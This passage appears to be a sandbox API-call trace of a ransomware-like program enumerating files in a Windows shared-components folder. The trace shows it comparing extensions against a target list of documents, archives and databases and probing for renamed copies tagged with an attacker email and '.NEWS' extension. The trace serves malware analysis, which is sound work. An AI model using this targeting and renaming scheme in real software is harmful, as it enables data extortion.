(lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tabskb.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240 [0211.118] GetFileSizeEx (in: hFile=0x240, lpFileSize=0x32eff1c | out: lpFileSize=0x32eff1c*=448000) returned 1 [0211.119] CloseHandle (hObject=0x240) returned 1 [0211.119] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tabskb.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll")) returned 0x20 [0211.119] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tabskb.dll.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0211.119] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tabskb.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0211.120] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tabskb.dll") returned 61 [0211.120] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tabskb.dll") returned 61 [0211.120] lstrlenW (lpString=".doc") returned 4 [0211.120] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0211.120] lstrlenW (lpString=".docx") returned 5 [0211.120] lstrcmpiW (lpString1=".docx", lpString2="b.dll") returned -1 [0211.120] lstrlenW (lpString=".pdf") returned 4 [0211.120] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0211.120] lstrlenW (lpString=".xls") returned 4 [0211.120] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0211.120] lstrlenW (lpString=".xlsx") returned 5 [0211.120] lstrcmpiW (lpString1=".xlsx", lpString2="b.dll") returned -1 [0211.121] lstrlenW (lpString=".ppt") returned 4 [0211.121] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0211.121] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tabskb.dll") returned 61 [0211.121] lstrlenW (lpString=".zip") returned 4 [0211.121] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0211.121] lstrlenW (lpString=".rar") returned 4 [0211.121] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0211.121] lstrlenW (lpString=".bz2") returned 4 [0211.121] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0211.121] lstrlenW (lpString=".7z") returned 3 [0211.121] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0211.121] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tabskb.dll") returned 61 [0211.121] lstrlenW (lpString=".dbf") returned 4 [0211.122] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0211.122] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tabskb.dll") returned 61 [0211.122] lstrlenW (lpString=".1cd") returned 4 [0211.122] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0211.122] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tabskb.dll") returned 61 [0211.122] lstrlenW (lpString=".jpg") returned 4 [0211.122] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0211.122] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tabskb.dll") returned 61 [0211.122] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tabskb.dll") returned 61 [0211.122] lstrlenW (lpString=".doc") returned 4 [0211.122] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0211.122] lstrlenW (lpString=".docx") returned 5 [0211.123] lstrcmpiW (lpString1=".docx", lpString2="b.dll") returned -1 [0211.123] lstrlenW (lpString=".pdf") returned 4 [0211.123] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0211.123] lstrlenW (lpString=".xls") returned 4 [0211.123] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0211.123] lstrlenW (lpString=".xlsx") returned 5 [0211.123] lstrcmpiW (lpString1=".xlsx", lpString2="b.dll") returned -1 [0211.123] lstrlenW (lpString=".ppt") returned 4 [0211.123] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0211.123] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tabskb.dll") returned 61 [0211.123] lstrlenW (lpString=".zip") returned 4 [0211.124] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0211.124] lstrlenW (lpString=".rar") returned 4 [0211.124] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0211.124] lstrlenW (lpString=".bz2") returned 4 [0211.124] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0211.124] lstrlenW (lpString=".7z") returned 3 [0211.124] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0211.124] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tabskb.dll") returned 61 [0211.124] lstrlenW (lpString=".dbf") returned 4 [0211.124] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0211.124] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tabskb.dll") returned 61 [0211.125] lstrlenW (lpString=".1cd") returned 4 [0211.125] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0211.125] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tabskb.dll") returned 61 [0211.125] lstrlenW (lpString=".jpg") returned 4 [0211.125] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0211.125] lstrcmpiW (lpString1=".exe", lpString2=".NEWS") returned -1 [0211.125] lstrlenW (lpString="TabTip.exe") returned 10 [0211.126] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TabTip.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabtip.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0213.683] GetFileSizeEx (in: hFile=0x288, lpFileSize=0x32eff1c | out: lpFileSize=0x32eff1c*=224256) returned 1 [0213.683] CloseHandle (hObject=0x288) returned 1 [0213.683] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TabTip.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabtip.exe")) returned 0x20 [0213.683] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TabTip.exe.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabtip.exe.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0213.683] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TabTip.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabtip.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0213.684] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TabTip.exe") returned 61 [0213.684] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TabTip.exe") returned 61 [0213.684] lstrlenW (lpString=".doc") returned 4 [0213.684] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0213.685] lstrlenW (lpString=".docx") returned 5 [0213.685] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0213.686] lstrlenW (lpString=".pdf") returned 4 [0213.686] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0213.686] lstrlenW (lpString=".xls") returned 4 [0213.686] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0213.687] lstrlenW (lpString=".xlsx") returned 5 [0213.687] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0213.687] lstrlenW (lpString=".ppt") returned 4 [0213.687] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0213.687] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TabTip.exe") returned 61 [0213.687] lstrlenW (lpString=".zip") returned 4 [0213.687] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0213.687] lstrlenW (lpString=".rar") returned 4 [0213.688] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0213.688] lstrlenW (lpString=".bz2") returned 4 [0213.688] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0213.688] lstrlenW (lpString=".7z") returned 3 [0213.688] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0213.689] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TabTip.exe") returned 61 [0213.689] lstrlenW (lpString=".dbf") returned 4 [0213.689] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0213.689] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TabTip.exe") returned 61 [0213.689] lstrlenW (lpString=".1cd") returned 4 [0213.689] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0213.689] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TabTip.exe") returned 61 [0213.689] lstrlenW (lpString=".jpg") returned 4 [0213.689] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0213.690] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TabTip.exe") returned 61 [0213.690] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TabTip.exe") returned 61 [0213.690] lstrlenW (lpString=".doc") returned 4 [0213.690] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0213.690] lstrlenW (lpString=".docx") returned 5 [0213.690] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0213.690] lstrlenW (lpString=".pdf") returned 4 [0213.690] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0213.690] lstrlenW (lpString=".xls") returned 4 [0213.690] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0213.690] lstrlenW (lpString=".xlsx") returned 5 [0213.691] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0213.691] lstrlenW (lpString=".ppt") returned 4 [0213.691] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0213.691] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TabTip.exe") returned 61 [0213.691] lstrlenW (lpString=".zip") returned 4 [0213.691] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0213.691] lstrlenW (lpString=".rar") returned 4 [0213.691] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0213.691] lstrlenW (lpString=".bz2") returned 4 [0213.693] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0213.693] lstrlenW (lpString=".7z") returned 3 [0213.693] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0213.693] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TabTip.exe") returned 61 [0213.693] lstrlenW (lpString=".dbf") returned 4 [0213.693] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0213.693] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TabTip.exe") returned 61 [0213.694] lstrlenW (lpString=".1cd") returned 4 [0213.694] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0213.694] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TabTip.exe") returned 61 [0213.694] lstrlenW (lpString=".jpg") returned 4 [0213.694] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0213.695] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0213.695] lstrlenW (lpString="tipskins.dll") returned 12 [0213.695] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipskins.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipskins.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0213.696] GetFileSizeEx (in: hFile=0x288, lpFileSize=0x32eff1c | out: lpFileSize=0x32eff1c*=1246720) returned 1 [0213.697] CloseHandle (hObject=0x288) returned 1 [0213.698] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipskins.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipskins.dll")) returned 0x20 [0213.698] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipskins.dll.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipskins.dll.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0213.698] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipskins.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipskins.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0213.699] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipskins.dll") returned 63 [0213.699] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipskins.dll") returned 63 [0213.699] lstrlenW (lpString=".doc") returned 4 [0213.699] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0213.699] lstrlenW (lpString=".docx") returned 5 [0213.699] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0213.699] lstrlenW (lpString=".pdf") returned 4 [0213.699] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0213.699] lstrlenW (lpString=".xls") returned 4 [0213.699] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0213.699] lstrlenW (lpString=".xlsx") returned 5 [0213.700] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0213.700] lstrlenW (lpString=".ppt") returned 4 [0213.700] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0213.700] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipskins.dll") returned 63 [0213.700] lstrlenW (lpString=".zip") returned 4 [0213.700] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0213.700] lstrlenW (lpString=".rar") returned 4 [0213.700] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0213.700] lstrlenW (lpString=".bz2") returned 4 [0213.700] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0213.700] lstrlenW (lpString=".7z") returned 3 [0213.700] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0213.700] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipskins.dll") returned 63 [0213.701] lstrlenW (lpString=".dbf") returned 4 [0213.701] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0213.701] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipskins.dll") returned 63 [0213.703] lstrlenW (lpString=".1cd") returned 4 [0213.703] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0213.703] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipskins.dll") returned 63 [0213.703] lstrlenW (lpString=".jpg") returned 4 [0213.703] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0213.703] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipskins.dll") returned 63 [0213.703] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipskins.dll") returned 63 [0213.704] lstrlenW (lpString=".doc") returned 4 [0213.704] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0213.704] lstrlenW (lpString=".docx") returned 5 [0213.704] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0213.705] lstrlenW (lpString=".pdf") returned 4 [0213.705] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0213.705] lstrlenW (lpString=".xls") returned 4 [0213.705] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0213.705] lstrlenW (lpString=".xlsx") returned 5 [0213.705] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0213.705] lstrlenW (lpString=".ppt") returned 4 [0213.705] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0213.705] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipskins.dll") returned 63 [0213.705] lstrlenW (lpString=".zip") returned 4 [0213.705] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0213.706] lstrlenW (lpString=".rar") returned 4 [0213.706] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0213.706] lstrlenW (lpString=".bz2") returned 4 [0213.706] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0213.706] lstrlenW (lpString=".7z") returned 3 [0213.706] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0213.707] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipskins.dll") returned 63 [0213.707] lstrlenW (lpString=".dbf") returned 4 [0213.707] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0213.707] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipskins.dll") returned 63 [0213.707] lstrlenW (lpString=".1cd") returned 4 [0213.707] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0213.707] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipskins.dll") returned 63 [0213.707] lstrlenW (lpString=".jpg") returned 4 [0213.707] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0213.708] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0213.708] lstrlenW (lpString="tiptsf.dll") returned 10 [0213.708] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tiptsf.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tiptsf.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0213.709] GetFileSizeEx (in: hFile=0x288, lpFileSize=0x32eff1c | out: lpFileSize=0x32eff1c*=503296) returned 1 [0213.709] CloseHandle (hObject=0x288) returned 1 [0213.709] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tiptsf.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tiptsf.dll")) returned 0x20 [0213.709] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tiptsf.dll.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tiptsf.dll.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0213.709] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tiptsf.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tiptsf.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0213.710] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tiptsf.dll") returned 61 [0213.710] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tiptsf.dll") returned 61 [0213.710] lstrlenW (lpString=".doc") returned 4 [0213.710] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0213.710] lstrlenW (lpString=".docx") returned 5 [0213.710] lstrcmpiW (lpString1=".docx", lpString2="f.dll") returned -1 [0213.710] lstrlenW (lpString=".pdf") returned 4 [0213.710] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0213.710] lstrlenW (lpString=".xls") returned 4 [0213.710] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0213.711] lstrlenW (lpString=".xlsx") returned 5 [0213.711] lstrcmpiW (lpString1=".xlsx", lpString2="f.dll") returned -1 [0213.711] lstrlenW (lpString=".ppt") returned 4 [0213.711] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0213.711] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tiptsf.dll") returned 61 [0213.711] lstrlenW (lpString=".zip") returned 4 [0213.713] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0213.713] lstrlenW (lpString=".rar") returned 4 [0213.713] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0213.713] lstrlenW (lpString=".bz2") returned 4 [0213.714] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0213.714] lstrlenW (lpString=".7z") returned 3 [0213.714] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0213.714] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tiptsf.dll") returned 61 [0213.715] lstrlenW (lpString=".dbf") returned 4 [0213.715] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0213.715] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tiptsf.dll") returned 61 [0213.715] lstrlenW (lpString=".1cd") returned 4 [0213.715] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0213.715] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tiptsf.dll") returned 61 [0213.715] lstrlenW (lpString=".jpg") returned 4 [0213.715] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0213.715] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tiptsf.dll") returned 61 [0213.715] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tiptsf.dll") returned 61 [0213.715] lstrlenW (lpString=".doc") returned 4 [0213.715] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0213.716] lstrlenW (lpString=".docx") returned 5 [0213.716] lstrcmpiW (lpString1=".docx", lpString2="f.dll") returned -1 [0213.716] lstrlenW (lpString=".pdf") returned 4 [0213.716] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0213.717] lstrlenW (lpString=".xls") returned 4 [0213.717] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0213.717] lstrlenW (lpString=".xlsx") returned 5 [0213.717] lstrcmpiW (lpString1=".xlsx", lpString2="f.dll") returned -1 [0213.717] lstrlenW (lpString=".ppt") returned 4 [0213.717] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0213.717] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tiptsf.dll") returned 61 [0213.717] lstrlenW (lpString=".zip") returned 4 [0213.717] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0213.717] lstrlenW (lpString=".rar") returned 4 [0213.717] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0213.717] lstrlenW (lpString=".bz2") returned 4 [0213.717] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0213.718] lstrlenW (lpString=".7z") returned 3 [0213.718] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0213.718] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tiptsf.dll") returned 61 [0213.719] lstrlenW (lpString=".dbf") returned 4 [0213.719] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0213.719] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tiptsf.dll") returned 61 [0213.719] lstrlenW (lpString=".1cd") returned 4 [0213.719] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0213.719] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tiptsf.dll") returned 61 [0213.719] lstrlenW (lpString=".jpg") returned 4 [0213.719] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0213.720] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0213.720] lstrlenW (lpString="tpcps.dll") returned 9 [0213.720] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tpcps.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tpcps.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0213.723] GetFileSizeEx (in: hFile=0x288, lpFileSize=0x32eff1c | out: lpFileSize=0x32eff1c*=101376) returned 1 [0213.724] CloseHandle (hObject=0x288) returned 1 [0213.724] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tpcps.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tpcps.dll")) returned 0x20 [0213.725] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tpcps.dll.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tpcps.dll.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0213.725] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tpcps.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tpcps.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0213.725] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tpcps.dll") returned 60 [0213.725] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tpcps.dll") returned 60 [0213.725] lstrlenW (lpString=".doc") returned 4 [0213.725] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0213.726] lstrlenW (lpString=".docx") returned 5 [0213.726] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0213.726] lstrlenW (lpString=".pdf") returned 4 [0213.726] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0213.726] lstrlenW (lpString=".xls") returned 4 [0214.317] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0214.317] lstrlenW (lpString=".xlsx") returned 5 [0214.317] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0214.318] lstrlenW (lpString=".ppt") returned 4 [0214.318] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0214.318] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tpcps.dll") returned 60 [0214.318] lstrlenW (lpString=".zip") returned 4 [0214.319] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0214.319] lstrlenW (lpString=".rar") returned 4 [0214.319] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0214.319] lstrlenW (lpString=".bz2") returned 4 [0214.319] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0214.319] lstrlenW (lpString=".7z") returned 3 [0214.320] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0214.320] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tpcps.dll") returned 60 [0214.320] lstrlenW (lpString=".dbf") returned 4 [0214.320] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0214.320] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tpcps.dll") returned 60 [0214.320] lstrlenW (lpString=".1cd") returned 4 [0214.320] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0214.321] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tpcps.dll") returned 60 [0214.321] lstrlenW (lpString=".jpg") returned 4 [0214.321] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0214.321] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tpcps.dll") returned 60 [0214.321] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tpcps.dll") returned 60 [0214.321] lstrlenW 